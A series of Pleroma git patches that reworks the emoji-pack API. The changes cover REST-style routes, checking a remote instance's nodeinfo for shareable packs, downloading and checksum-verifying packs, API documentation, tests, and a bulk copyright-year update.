index 1c5b7c687..0d4a17c61 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -183,7 +183,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
with {:ok, %{sha: sha, uri: uri} = pinfo} <- pack_info_res,
%{body: emoji_archive} <- Tesla.get!(uri),
- {_, true} <- {:sha, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
+ {_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
local_name = data["as"] || name
pack_dir = Path.join(@emoji_dir_path, local_name)
File.mkdir_p!(pack_dir)
@@ -207,7 +207,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
{:error, e} ->
conn |> put_status(:internal_server_error) |> json(%{error: e})
- {:sha, _} ->
+ {:checksum, _} ->
conn
|> put_status(:internal_server_error)
|> json(%{error: "SHA256 for the pack doesn't match the one sent by the server"})
From 6cd651a38be898456c06d8fee7fd15f1b406848c Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 21:50:55 +0300
Subject: [PATCH 091/148] Make the emoji controller api more RESTy
---
lib/pleroma/web/router.ex | 10 +++++-----
test/web/emoji_api_controller_test.exs | 2 +-
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 17f7406fd..bae25c60a 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -220,17 +220,17 @@ defmodule Pleroma.Web.Router do
post("/import_from_fs", EmojiAPIController, :import_from_fs)
- post("/update_file/:pack_name", EmojiAPIController, :update_file)
- post("/update_metadata/:pack_name", EmojiAPIController, :update_metadata)
- post("/create/:name", EmojiAPIController, :create)
- delete("/delete/:name", EmojiAPIController, :delete)
+ post("/:pack_name/update_file", EmojiAPIController, :update_file)
+ post("/:pack_name/update_metadata", EmojiAPIController, :update_metadata)
+ put("/:name", EmojiAPIController, :create)
+ delete("/:name", EmojiAPIController, :delete)
post("/download_from", EmojiAPIController, :download_from)
end
scope "/packs" do
# Pack info / downloading
get("/", EmojiAPIController, :list_packs)
- get("/download_shared/:name", EmojiAPIController, :download_shared)
+ get("/:name/download_shared/", EmojiAPIController, :download_shared)
end
end
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 7942a7b01..e92e92f74 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -343,7 +343,7 @@ test "creating and deleting a pack" do
assert conn
|> put_req_header("content-type", "application/json")
- |> post(
+ |> put(
emoji_api_path(
conn,
:create,
From dd818bdd487149b75295abd351e3dee3e7378dd7 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 22:39:26 +0300
Subject: [PATCH 092/148] Add documentation for the emoji endpoints
---
docs/api/pleroma_api.md | 66 +++++++++++++++++++++++++++++++++++++++++
1 file changed, 66 insertions(+)
diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md
index 30fac77da..a7e7fbe25 100644
--- a/docs/api/pleroma_api.md
+++ b/docs/api/pleroma_api.md
@@ -365,3 +365,69 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa
* Params:
* `recipients`: A list of ids of users that should receive posts to this conversation. This will replace the current list of recipients, so submit the full list. The owner of owner of the conversation will always be part of the set of recipients, though.
* Response: JSON, statuses (200 - healthy, 503 unhealthy)
+
+
+## `POST /api/pleroma/emoji/reload`
+### Reload the instance's custom emoji
+* Method `POST`
+* Authentication: required
+* Params: None
+* Response: JSON, "ok" and 200 status
+
+## `PUT /api/pleroma/emoji/packs/:name`
+### Creates an empty custom emoji pack
+* Method `PUT`
+* Authentication: required
+* Params: None
+* Response: JSON, "ok" and 200 status or 409 if the pack with that name already exists
+
+## `DELETE /api/pleroma/emoji/packs/:name`
+### Delete a custom emoji pack
+* Method `DELETE`
+* Authentication: required
+* Params: None
+* Response: JSON, "ok" and 200 status or 500 if there was an error deleting the pack
+
+## `POST /api/pleroma/emoji/packs/:name/update_file`
+### Update a file in a custom emoji pack
+* Method `POST`
+* Authentication: required
+* Params:
+ * if the `action` is `add`, adds an emoji named `shortcode` to the pack `pack_name`,
+ that means that the emoji file needs to be uploaded with the request
+ (thus requiring it to be a multipart request) and be named `file`.
+ There can also be an optional `filename` that will be the new emoji file name
+ (if it's not there, the name will be taken from the uploaded file).
+ * if the `action` is `update`, changes emoji shortcode
+ (from `shortcode` to `new_shortcode` or moves the file (from the current filename to `new_filename`)
+ * if the `action` is `remove`, removes the emoji named `shortcode` and it's associated file
+* Response: JSON, updated "files" section of the pack and 200 status, 409 if the trying to use a shortcode
+ that is already taken, 400 if there was an error with the shortcode, filename or file (additional info
+ in the "error" part of the response JSON)
+
+## `POST /api/pleroma/emoji/packs/:name/update_metadata`
+### Updates (replaces) pack metadata
+* Method `POST`
+* Authentication: required
+* Params:
+ * `new_data`: new metadata to replace the old one
+* Response: JSON, updated "metadata" section of the pack and 200 status or 400 if there was a
+ problem with the new metadata (the error is specified in the "error" part of the response JSON)
+
+## `POST /api/pleroma/emoji/packs/download_from`
+### Requests the instance to download the pack from another instance
+* Method `POST`
+* Authentication: required
+* Params:
+ * `instance_address`: the address of the instance to download from
+ * `pack_name`: the pack to download from that instance
+* Response: JSON, "ok" and 200 status if the pack was downloaded, or 500 if there were
+ errors downloading the pack
+
+## `GET /api/pleroma/emoji/packs/:name/download_shared`
+### Requests the instance to download the pack from another instance
+* Method `GET`
+* Authentication: not requires
+* Params: None
+* Response: the archive of the pack with a 200 status code, 403 if the pack is not set as shared,
+ 404 if the pack does not exist
From 74fb6d864760ccaa18b9a20d148c590254779454 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 22:43:00 +0300
Subject: [PATCH 093/148] Move EmojiAPIController from EmojiAPI to PleromaAPI
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 2 +-
lib/pleroma/web/router.ex | 2 +-
test/web/emoji_api_controller_test.exs | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 0d4a17c61..a83f8af57 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -1,4 +1,4 @@
-defmodule Pleroma.Web.EmojiAPI.EmojiAPIController do
+defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
use Pleroma.Web, :controller
require Logger
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index bae25c60a..715e4ba68 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -207,7 +207,7 @@ defmodule Pleroma.Web.Router do
get("/moderation_log", AdminAPIController, :list_log)
end
- scope "/api/pleroma/emoji", Pleroma.Web.EmojiAPI do
+ scope "/api/pleroma/emoji", Pleroma.Web.PleromaAPI do
scope [] do
pipe_through([:admin_api, :oauth_write])
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index e92e92f74..38d11cdce 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -1,4 +1,4 @@
-defmodule Pleroma.Web.EmojiAPI.EmojiAPIControllerTest do
+defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
use Pleroma.Web.ConnCase
import Tesla.Mock
From 36f2275dc9f6c58163e4e07f8ace9d75e96033c7 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 22:58:55 +0300
Subject: [PATCH 094/148] A feature for shareable emoji packs, use it in
download_from & tests
---
.../web/emoji_api/emoji_api_controller.ex | 115 ++++++++++--------
.../web/nodeinfo/nodeinfo_controller.ex | 1 +
test/web/emoji_api_controller_test.exs | 22 ++++
3 files changed, 88 insertions(+), 50 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index a83f8af57..36ca2c804 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -153,64 +153,79 @@ def download_shared(conn, %{"name" => name}) do
from that instance, otherwise it will be downloaded from the fallback source, if there is one.
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
- full_pack =
- "#{address}/api/pleroma/emoji/packs/list"
+ shareable_packs_available =
+ "#{address}/nodeinfo/2.1.json"
|> Tesla.get!()
|> Map.get(:body)
|> Jason.decode!()
- |> Map.get(name)
+ |> Map.get("features")
+ |> Enum.member?("shareable_emoji_packs")
- pack_info_res =
- case full_pack["pack"] do
- %{"share-files" => true, "can-download" => true, "download-sha256" => sha} ->
- {:ok,
- %{
- sha: sha,
- uri: "#{address}/api/pleroma/emoji/packs/download_shared/#{name}"
- }}
+ if shareable_packs_available do
+ full_pack =
+ "#{address}/api/pleroma/emoji/packs/list"
+ |> Tesla.get!()
+ |> Map.get(:body)
+ |> Jason.decode!()
+ |> Map.get(name)
- %{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) ->
- {:ok,
- %{
- sha: sha,
- uri: src,
- fallback: true
- }}
+ pack_info_res =
+ case full_pack["pack"] do
+ %{"share-files" => true, "can-download" => true, "download-sha256" => sha} ->
+ {:ok,
+ %{
+ sha: sha,
+ uri: "#{address}/api/pleroma/emoji/packs/download_shared/#{name}"
+ }}
- _ ->
- {:error, "The pack was not set as shared and there is no fallback src to download from"}
+ %{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) ->
+ {:ok,
+ %{
+ sha: sha,
+ uri: src,
+ fallback: true
+ }}
+
+ _ ->
+ {:error,
+ "The pack was not set as shared and there is no fallback src to download from"}
+ end
+
+ with {:ok, %{sha: sha, uri: uri} = pinfo} <- pack_info_res,
+ %{body: emoji_archive} <- Tesla.get!(uri),
+ {_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
+ local_name = data["as"] || name
+ pack_dir = Path.join(@emoji_dir_path, local_name)
+ File.mkdir_p!(pack_dir)
+
+ files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
+ # Fallback cannot contain a pack.json file
+ files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files
+
+ {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
+
+ # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
+ # in it to depend on itself
+ if pinfo[:fallback] do
+ pack_file_path = Path.join(pack_dir, "pack.json")
+
+ File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
+ end
+
+ json(conn, "ok")
+ else
+ {:error, e} ->
+ conn |> put_status(:internal_server_error) |> json(%{error: e})
+
+ {:checksum, _} ->
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{error: "SHA256 for the pack doesn't match the one sent by the server"})
end
-
- with {:ok, %{sha: sha, uri: uri} = pinfo} <- pack_info_res,
- %{body: emoji_archive} <- Tesla.get!(uri),
- {_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
- local_name = data["as"] || name
- pack_dir = Path.join(@emoji_dir_path, local_name)
- File.mkdir_p!(pack_dir)
-
- files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
- # Fallback cannot contain a pack.json file
- files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files
-
- {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
-
- # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
- # in it to depend on itself
- if pinfo[:fallback] do
- pack_file_path = Path.join(pack_dir, "pack.json")
-
- File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
- end
-
- json(conn, "ok")
else
- {:error, e} ->
- conn |> put_status(:internal_server_error) |> json(%{error: e})
-
- {:checksum, _} ->
- conn
- |> put_status(:internal_server_error)
- |> json(%{error: "SHA256 for the pack doesn't match the one sent by the server"})
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{error: "The requested instance does not support sharing emoji packs"})
end
end
diff --git a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
index ee14cfd6b..192984242 100644
--- a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
+++ b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
@@ -57,6 +57,7 @@ def raw_nodeinfo do
"mastodon_api_streaming",
"polls",
"pleroma_explicit_addressing",
+ "shareable_emoji_packs",
if Config.get([:media_proxy, :enabled]) do
"media_proxy"
end,
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 38d11cdce..1af4d3720 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -54,6 +54,12 @@ test "downloading shared & unshared packs from another instance via download_fro
end)
mock(fn
+ %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
+ json(%{features: []})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{features: ["shareable_emoji_packs"]})
+
%{
method: :get,
url: "https://example.com/api/pleroma/emoji/packs/list"
@@ -87,6 +93,22 @@ test "downloading shared & unshared packs from another instance via download_fro
conn = build_conn() |> assign(:user, admin)
+ assert (conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://old-instance",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(500))["error"] =~ "does not support"
+
assert conn
|> put_req_header("content-type", "application/json")
|> post(
From 7680aec17d6690ccf7383354572456c2118a8750 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 12 Sep 2019 00:00:28 +0300
Subject: [PATCH 095/148] Move emoji api to pleroma api dir
---
.../web/{emoji_api => pleroma_api}/emoji_api_controller.ex | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename lib/pleroma/web/{emoji_api => pleroma_api}/emoji_api_controller.ex (100%)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
similarity index 100%
rename from lib/pleroma/web/emoji_api/emoji_api_controller.ex
rename to lib/pleroma/web/pleroma_api/emoji_api_controller.ex
From d51e5e447ee944e77646b15a7aabc0214e99c351 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Thu, 12 Sep 2019 20:38:57 +0300
Subject: [PATCH 096/148] Move emoji reloading to admin api
---
docs/api/admin_api.md | 7 +++++++
docs/api/pleroma_api.md | 8 --------
lib/pleroma/web/admin_api/admin_api_controller.ex | 6 ++++++
lib/pleroma/web/pleroma_api/emoji_api_controller.ex | 6 ------
lib/pleroma/web/router.ex | 8 ++------
5 files changed, 15 insertions(+), 20 deletions(-)
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index 7637fa0d4..0377ea655 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -733,3 +733,10 @@ Compile time settings (need instance reboot):
}
]
```
+
+## `POST /api/pleroma/admin/reload_emoji`
+### Reload the instance's custom emoji
+* Method `POST`
+* Authentication: required
+* Params: None
+* Response: JSON, "ok" and 200 status
diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md
index a7e7fbe25..05a4e6fcc 100644
--- a/docs/api/pleroma_api.md
+++ b/docs/api/pleroma_api.md
@@ -366,14 +366,6 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa
* `recipients`: A list of ids of users that should receive posts to this conversation. This will replace the current list of recipients, so submit the full list. The owner of owner of the conversation will always be part of the set of recipients, though.
* Response: JSON, statuses (200 - healthy, 503 unhealthy)
-
-## `POST /api/pleroma/emoji/reload`
-### Reload the instance's custom emoji
-* Method `POST`
-* Authentication: required
-* Params: None
-* Response: JSON, "ok" and 200 status
-
## `PUT /api/pleroma/emoji/packs/:name`
### Creates an empty custom emoji pack
* Method `PUT`
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 8a8091daa..4d4e862dd 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -599,6 +599,12 @@ def config_update(conn, %{"configs" => configs}) do
|> render("index.json", %{configs: updated})
end
+ def reload_emoji(conn, _params) do
+ Pleroma.Emoji.reload()
+
+ conn |> json("ok")
+ end
+
def errors(conn, {:error, :not_found}) do
conn
|> put_status(:not_found)
diff --git a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
index 36ca2c804..bc1639095 100644
--- a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
@@ -3,12 +3,6 @@ defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do
require Logger
- def reload(conn, _params) do
- Pleroma.Emoji.reload()
-
- conn |> json("ok")
- end
-
@emoji_dir_path Path.join(
Pleroma.Config.get!([:instance, :static_dir]),
"emoji"
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 715e4ba68..71ef382c5 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -205,15 +205,11 @@ defmodule Pleroma.Web.Router do
get("/config/migrate_from_db", AdminAPIController, :migrate_from_db)
get("/moderation_log", AdminAPIController, :list_log)
+
+ post("/reload_emoji", AdminAPIController, :reload_emoji)
end
scope "/api/pleroma/emoji", Pleroma.Web.PleromaAPI do
- scope [] do
- pipe_through([:admin_api, :oauth_write])
-
- post("/reload", EmojiAPIController, :reload)
- end
-
scope "/packs" do
# Modifying packs
pipe_through([:admin_api, :oauth_write])
From 8aed05ac1518a10fb30532429984e02a05180ec3 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Fri, 13 Sep 2019 12:32:23 +0000
Subject: [PATCH 097/148] Apply suggestion to docs/api/pleroma_api.md
---
docs/api/pleroma_api.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md
index 05a4e6fcc..e76bf0caf 100644
--- a/docs/api/pleroma_api.md
+++ b/docs/api/pleroma_api.md
@@ -417,7 +417,7 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa
errors downloading the pack
## `GET /api/pleroma/emoji/packs/:name/download_shared`
-### Requests the instance to download the pack from another instance
+### Requests a local pack from the instance
* Method `GET`
* Authentication: not requires
* Params: None
From 43022c347f9001d9cb8de976dd521a1e5f1c1318 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Fri, 13 Sep 2019 12:32:40 +0000
Subject: [PATCH 098/148] Apply suggestion to docs/api/pleroma_api.md
---
docs/api/pleroma_api.md | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md
index e76bf0caf..faf6e3acd 100644
--- a/docs/api/pleroma_api.md
+++ b/docs/api/pleroma_api.md
@@ -419,7 +419,7 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa
## `GET /api/pleroma/emoji/packs/:name/download_shared`
### Requests a local pack from the instance
* Method `GET`
-* Authentication: not requires
+* Authentication: not required
* Params: None
* Response: the archive of the pack with a 200 status code, 403 if the pack is not set as shared,
404 if the pack does not exist
From 86795d5ac2604e08654b872927678d3e05a68e85 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Fri, 13 Sep 2019 21:00:28 +0300
Subject: [PATCH 099/148] Document emoji pack listing in the api docs
---
docs/api/pleroma_api.md | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md
index faf6e3acd..a469ddfbf 100644
--- a/docs/api/pleroma_api.md
+++ b/docs/api/pleroma_api.md
@@ -366,6 +366,13 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa
* `recipients`: A list of ids of users that should receive posts to this conversation. This will replace the current list of recipients, so submit the full list. The owner of owner of the conversation will always be part of the set of recipients, though.
* Response: JSON, statuses (200 - healthy, 503 unhealthy)
+## `GET /api/pleroma/emoji/packs`
+### Lists the custom emoji packs on the server
+* Method `GET`
+* Authentication: not required
+* Params: None
+* Response: JSON, "ok" and 200 status and the JSON hashmap of "pack name" to "pack contents"
+
## `PUT /api/pleroma/emoji/packs/:name`
### Creates an empty custom emoji pack
* Method `PUT`
From a1325d5fd9b540017cbffbb73db85ee9fa9f12d0 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 18 Sep 2019 18:09:57 +0300
Subject: [PATCH 100/148] Change path from nodeinfo to metadata->features
---
lib/pleroma/web/pleroma_api/emoji_api_controller.ex | 2 +-
test/web/emoji_api_controller_test.exs | 4 ++--
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
index bc1639095..391c317e7 100644
--- a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
@@ -152,7 +152,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
|> Tesla.get!()
|> Map.get(:body)
|> Jason.decode!()
- |> Map.get("features")
+ |> get_in(["metadata", "features"])
|> Enum.member?("shareable_emoji_packs")
if shareable_packs_available do
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 1af4d3720..297dc092f 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -55,10 +55,10 @@ test "downloading shared & unshared packs from another instance via download_fro
mock(fn
%{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
- json(%{features: []})
+ json(%{metadata: %{features: []}})
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
- json(%{features: ["shareable_emoji_packs"]})
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
%{
method: :get,
From b585134c9092b49e7b5c24e04d6d6315d45dd0a2 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 18 Sep 2019 19:48:25 +0300
Subject: [PATCH 101/148] Get the nodeinfo address from the well-known
---
lib/pleroma/web/pleroma_api/emoji_api_controller.ex | 8 +++++++-
test/web/emoji_api_controller_test.exs | 6 ++++++
2 files changed, 13 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
index 391c317e7..6beca426a 100644
--- a/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/pleroma_api/emoji_api_controller.ex
@@ -148,7 +148,13 @@ def download_shared(conn, %{"name" => name}) do
"""
def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
shareable_packs_available =
- "#{address}/nodeinfo/2.1.json"
+ "#{address}/.well-known/nodeinfo"
+ |> Tesla.get!()
+ |> Map.get(:body)
+ |> Jason.decode!()
+ |> List.last()
+ |> Map.get("href")
+ # Get the actual nodeinfo address and fetch it
|> Tesla.get!()
|> Map.get(:body)
|> Jason.decode!()
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 297dc092f..c5a553692 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -54,9 +54,15 @@ test "downloading shared & unshared packs from another instance via download_fro
end)
mock(fn
+ %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
+ json([%{href: "https://old-instance/nodeinfo/2.1.json"}])
+
%{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: []}})
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json([%{href: "https://example.com/nodeinfo/2.1.json"}])
+
%{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
json(%{metadata: %{features: ["shareable_emoji_packs"]}})
From c3856bed0c4c177c3e6716d06d615a928d95f69c Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Wed, 18 Sep 2019 23:17:15 +0200
Subject: [PATCH 102/148] docs/clients.md: Update source code urls
---
docs/clients.md | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/docs/clients.md b/docs/clients.md
index 9029361f8..6c6180f7a 100644
--- a/docs/clients.md
+++ b/docs/clients.md
@@ -39,7 +39,7 @@ Feel free to contact us to be added to this list!
### Nekonium
- Homepage: [F-Droid Repository](https://repo.gdgd.jp.net/), [Google Play](https://play.google.com/store/apps/details?id=com.apps.nekonium), [Amazon](https://www.amazon.co.jp/dp/B076FXPRBC/)
-- Source:
+- Source:
- Contact: [@lin@pleroma.gdgd.jp.net](https://pleroma.gdgd.jp.net/users/lin)
- Platforms: Android
- Features: Streaming Ready
@@ -67,7 +67,7 @@ Feel free to contact us to be added to this list!
## Alternative Web Interfaces
### Brutaldon
- Homepage:
-- Source Code:
+- Source Code:
- Contact: [@gcupc@glitch.social](https://glitch.social/users/gcupc)
- Features: No Streaming
From 447514dfa2759e3415399412e82bf772ff119e04 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Wed, 18 Sep 2019 23:20:54 +0200
Subject: [PATCH 103/148] Bump copyright years of files changed in 2019
Done via the following command:
git diff 1e6c102bfcfe0e4835a48f2483f2376f9bf86a20 --stat --name-only | cat - | xargs sed -i 's/2017-2018 Pleroma Authors/2017-2019 Pleroma Authors/'
---
lib/mix/pleroma.ex | 2 +-
lib/mix/tasks/pleroma/database.ex | 2 +-
lib/mix/tasks/pleroma/ecto/ecto.ex | 2 +-
lib/mix/tasks/pleroma/ecto/migrate.ex | 2 +-
lib/mix/tasks/pleroma/ecto/rollback.ex | 2 +-
lib/mix/tasks/pleroma/emoji.ex | 2 +-
lib/mix/tasks/pleroma/instance.ex | 2 +-
lib/mix/tasks/pleroma/relay.ex | 2 +-
lib/mix/tasks/pleroma/uploads.ex | 2 +-
lib/mix/tasks/pleroma/user.ex | 2 +-
lib/pleroma/activity/queries.ex | 2 +-
lib/pleroma/user/query.ex | 2 +-
lib/pleroma/web/oauth/token/clean_worker.ex | 2 +-
lib/pleroma/web/oauth/token/query.ex | 2 +-
test/activity_test.exs | 2 +-
test/captcha_test.exs | 2 +-
test/config_test.exs | 2 +-
test/daemons/activity_expiration_daemon_test.exs | 2 +-
test/daemons/scheduled_activity_daemon_test.exs | 2 +-
test/emails/admin_email_test.exs | 2 +-
test/emails/mailer_test.exs | 2 +-
test/emails/user_email_test.exs | 2 +-
test/formatter_test.exs | 2 +-
test/html_test.exs | 2 +-
test/integration/mastodon_websocket_test.exs | 2 +-
test/list_test.exs | 2 +-
test/notification_test.exs | 2 +-
test/object_test.exs | 2 +-
test/plugs/authentication_plug_test.exs | 2 +-
test/plugs/cache_control_test.exs | 2 +-
test/plugs/ensure_public_or_authenticated_plug_test.exs | 2 +-
test/plugs/http_security_plug_test.exs | 2 +-
test/plugs/http_signature_plug_test.exs | 2 +-
test/plugs/instance_static_test.exs | 2 +-
test/plugs/legacy_authentication_plug_test.exs | 2 +-
test/plugs/mapped_identity_to_signature_plug_test.exs | 2 +-
test/plugs/oauth_plug_test.exs | 2 +-
test/plugs/oauth_scopes_plug_test.exs | 2 +-
test/plugs/set_format_plug_test.exs | 2 +-
test/plugs/set_locale_plug_test.exs | 2 +-
test/plugs/uploaded_media_plug_test.exs | 2 +-
test/scheduled_activity_test.exs | 2 +-
test/support/captcha_mock.ex | 2 +-
test/support/conn_case.ex | 2 +-
test/support/data_case.ex | 2 +-
test/support/helpers.ex | 2 +-
test/support/http_request_mock.ex | 2 +-
test/support/mrf_module_mock.ex | 2 +-
test/support/oban_helpers.ex | 2 +-
test/support/web_push_http_client_mock.ex | 2 +-
test/tasks/ecto/migrate_test.exs | 2 +-
test/tasks/relay_test.exs | 2 +-
test/tasks/user_test.exs | 2 +-
test/test_helper.exs | 2 +-
test/upload_test.exs | 2 +-
test/user_search_test.exs | 2 +-
test/user_test.exs | 2 +-
test/web/activity_pub/activity_pub_controller_test.exs | 2 +-
test/web/activity_pub/relay_test.exs | 2 +-
test/web/activity_pub/transmogrifier/follow_handling_test.exs | 2 +-
test/web/activity_pub/transmogrifier_test.exs | 2 +-
test/web/admin_api/admin_api_controller_test.exs | 2 +-
test/web/admin_api/search_test.exs | 2 +-
test/web/common_api/common_api_utils_test.exs | 2 +-
test/web/federator_test.exs | 2 +-
test/web/instances/instance_test.exs | 2 +-
test/web/instances/instances_test.exs | 2 +-
test/web/mastodon_api/views/account_view_test.exs | 2 +-
test/web/mastodon_api/views/list_view_test.exs | 2 +-
test/web/mastodon_api/views/notification_view_test.exs | 2 +-
test/web/mastodon_api/views/push_subscription_view_test.exs | 2 +-
test/web/mastodon_api/views/scheduled_activity_view_test.exs | 2 +-
test/web/mastodon_api/views/status_view_test.exs | 2 +-
test/web/media_proxy/media_proxy_controller_test.exs | 2 +-
test/web/media_proxy/media_proxy_test.exs | 2 +-
test/web/node_info_test.exs | 2 +-
test/web/oauth/authorization_test.exs | 2 +-
test/web/oauth/oauth_controller_test.exs | 2 +-
